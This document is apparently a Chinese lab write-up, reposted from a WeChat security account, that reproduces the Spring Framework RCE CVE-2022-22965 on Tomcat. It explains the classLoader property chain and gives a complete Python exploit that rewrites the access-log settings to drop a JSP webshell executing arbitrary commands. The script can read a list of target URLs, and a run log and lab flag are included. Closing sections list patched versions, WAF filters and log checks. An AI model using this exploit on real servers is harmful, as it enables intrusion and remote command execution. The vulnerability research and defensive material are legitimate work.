1. 漏洞简介
Spring Core Framework是一个用于基于Java的开源企业应用程序的编程和配置模型,提供了IOC、AOP及MVC等功能,解决了程序人员在开发中遇到的常见问题,提高了应用程序开发便捷度和软件系统构建效率。
漏洞结合了JDK9及以上版本一个新的属性,成功绕过历史漏洞CVE-2010-1622修复JavaBean参数绑定规则漏洞的补丁,同时结合Tomcat容器的一些操作属性,实现GetShell。当然Weblogic、Jetty等其他Java中间件或应用程序也可能构建出完整利用链,但目前还未公布。
漏洞编号:
-
CVE-2022-22965
-
CNVD-2022-23942
漏洞评分:暂无
漏洞等级:暂无官方漏洞危害定级
发现时间:2022.03.29
漏洞条件:
-
JDK 9 及其以上版本;
-
Apache Tomcat 作为 Servlet 容器;
-
Spring Framework 版本 5.3.0 到 5.3.17,5.2.0 到 5.2.19 以及更早的版本;
-
spring-webmvc 或 spring-webflux 依赖项
-
业务以war包形式部署
-
然而,该漏洞的性质更为普遍,可能还有其他尚未报告的方法来利用它。
2. 漏洞检测
漏洞环境可以使用reznok的dockerfile;
也可以使用vulfocus的docker环境;
在漏洞环境中,提交class.module.classLoader
参数可以获取ClassLoader
对象,调试发现在对BeanInfo赋值过程中,CachedIntrospectionResults
中会加载class org.apache.catalina.loader. ParallelWebappClassLoader
对象,可以绕过cve-2010-1622补丁中的黑名单检查。
至少有300个满足class.module.classLoader
条件的链式调用的属性,可以被操控:
class.module.classLoader.resources.context.parent.workDir
class.module.classLoader.resources.context.parent.copyXML
class.module.classLoader.resources.context.parent.deployOnStartup
class.module.classLoader.resources.context.parent.contextClass
class.module.classLoader.resources.context.parent.appBase
class.module.classLoader.resources.context.parent.createDirs
class.module classLoader.resources.context.parent.configClass
class.module.classLoader.resources.context.parent.xmlBase
class.module.classLoader.resources.context.parent.autoDeploy
class.module.classLoader.resources.context.parent.deploylgnore
class.module.classLoader.resources.context.parent.unpackWARs
class.module.classLoader.resources.context.parent.deployXML
class.module.classLoader.resources.context.parent.errorReportValveClass
class.module.classLoader.resources.context.parent.undeployOldVersions
class.module.classLoader.resources.context.parent.startChildren
class.module.classLoader.resources.context.parent.startStopThreads
class.module.classLoader.resources.context.parent.backGroundProcessorDelay
class.module.classLoader.resources.context.parent.domain
class.module.classLoader.resources.context.parent.throwOnFailure
class.module.classLoader.resources.context.parent.configBaseFile.writable
class.module.classLoader.resources.context.parent.configBaseFile.readable
class.module.classLoader.resources.context.parent.configBaseFile.executable
class.module.classLoader.resources.context.parent.configBaseFile.parentFile.writable
class.module.classLoader.resources.context.parent.configBaseFile.parentfile.readable
...
其中的 class.module.classLoader.resources.context.parent.pipeline.first.*
对应于 AccessLogValve
类,主要用于存放 Tomcat
日志操作的相关属性:
//日志保存目录默认为logs
class.module.classLoader.resources.context.parent.pipeline.first.directory
//日志文件名前缀默认为localhost_access_log
class.module.classLoader.resources.context.parent.pipeline.first.prefix
//日志文件名后缀默认为.txt
class.module.classLoader.resources.context.parent.pipeline.first.suffix
//日志文件名日期格式默认为.yyyy-mm-dd
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat
链式调用:
getClass() -> LoginControllergetModule() -> ModulegetClassLoader() -> ParallelWebappClassLoadergetResources() -> StandardRootgetContext() -> StandardContextgetParent() -> StandardEnginegetPipeline() -> PipelinegetFirst() -> AccessLogValve
通过修改日志后缀名、文件名称、存放位置等属性,可以写入jsp的webshell。
需要注意的是,由于Tomcat稍微新一点的版本出于安全性考虑,无法直接在URL中携带<
、{
等特殊字符(否则返回400),我们可以通过
class.module.classLoader.resources.context.parent.pipeline.first.pattern
属性来修改日志记录的格式,从而变向写入webshell。
exp:需要日志记录功能开启(默认开启)
#coding:utf-8
import requests
import argparse
from urllib.parse import urljoin
def Exploit(url):
headers = {"suffix":"%>//",
"c1":"Runtime",
"c2":"<%",
"DNT":"1",
"Content-Type":"application/x-www-form-urlencoded"
}
data = "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="
try:
go = requests.post(url,headers=headers, data=data, timeout=15, allow_redirects=False, verify=False)
shellurl = urljoin(url, 'tomcatwar.jsp')
shellgo = requests.get(shellurl, timeout=15, allow_redirects=False, verify=False)
if shellgo.status_code == 200:
print(f"The vulnerability exists, the shell address is :{shellurl}?pwd=j&cmd=whoami")
except Exception as e:
print(e)
pass
def main():
parser = argparse.ArgumentParser(description='Spring-Core Rce.')
parser.add_argument('--file', help='url file', required=False)
parser.add_argument('--url', help='target url', required=False)
args = parser.parse_args()
if args.url:
Exploit(args.url)
if args.file:
with open (args.file) as f:
for i in f.readlines():
i = i.strip()
Exploit(i)
if __name__ == '__main__':
main()
运行:
└─$ python3 exp.py --url http://10.0.0.128:8080
漏洞存在,shell地址为:http://10.0.0.128:8080/tomcatwar.jsp?pwd=j&cmd=whoami
此处密码设置为"j",但脚本存在一个问题,内容明文显示,所以密码没有设置意义,待完善。
vulfocus flag:
http://10.0.0.128:8080/tomcatwar.jsp?pwd=j&cmd=ls%20/tmp
flag-{bmh5a429bb1-9620-4585-8663-0a91bccc47b1}
3. 漏洞修复
Spring Framework 5.3.18 和 5.2.20 已修复漏洞;
Spring Boot 2.6.6 和 2.5.12 (均依赖 Spring Framework 5.3.18)已修复漏洞;
对于拥有 WAF 技术的组织,字符串过滤器提供了有效的威慑,"class."、"Class."、".class."和".Class."。
4. 攻击排查
1、流量排查:攻击者的数据包中可能存在"class.*","*.class.*","class.module.*"字样或对该字样进行URL编码的变种字样,同时这些字样对大小写不敏感。推荐使用奇安信网神网站应用安全云防护系统全流量或WAF设备进行检索排查。
2、日志排查:查看tomcat的AccessLog中是否缺失最近日志记录,同时排查Tomcat相关web应用目录下是否存在可疑后门文件。
参考:
-
http://cn-sec.com/archives/860696.html
-
https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement
-
https://www.oschina.net/news/189050/spring-core-vulnerability-maybe-is-fake-news
-
https://github.com/TheGejr/SpringShell
-
https://cn-sec.com/archives/860681.html
原文始发于微信公众号(CTS纵横安全实验室):Spring Framework RCE漏洞复现
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论